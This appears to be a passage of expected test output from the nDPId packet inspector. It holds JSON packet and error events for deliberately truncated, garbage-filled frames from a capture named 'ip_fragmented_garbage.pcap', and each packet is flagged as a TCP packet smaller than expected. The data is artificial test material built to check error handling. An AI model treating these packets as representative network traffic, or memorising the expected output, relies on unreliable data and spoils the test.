-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7748,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997079} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7749,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997091} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7750,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997104} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7751,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997116} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7752,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997130} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7753,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997141} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7754,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997152} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7755,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997167} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7756,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997213} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7757,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7758,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997266} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7759,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997276} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7760,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7761,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997299} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7762,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997312} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7763,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997325} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7764,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997337} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7765,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997349} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7766,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997363} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7767,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997376} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7768,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997388} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7769,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997401} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7770,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997414} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7771,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997426} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7772,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997439} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7773,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997453} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7774,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997465} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7775,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997478} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7776,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997490} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7777,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997503} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7778,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997515} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7779,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997527} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7780,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997540} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7781,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997552} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7782,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997566} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7783,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997579} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7784,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997592} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7785,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997606} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7786,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997619} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7787,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997638} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7788,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997652} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7789,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997664} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7790,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997676} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031993869,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031997689} 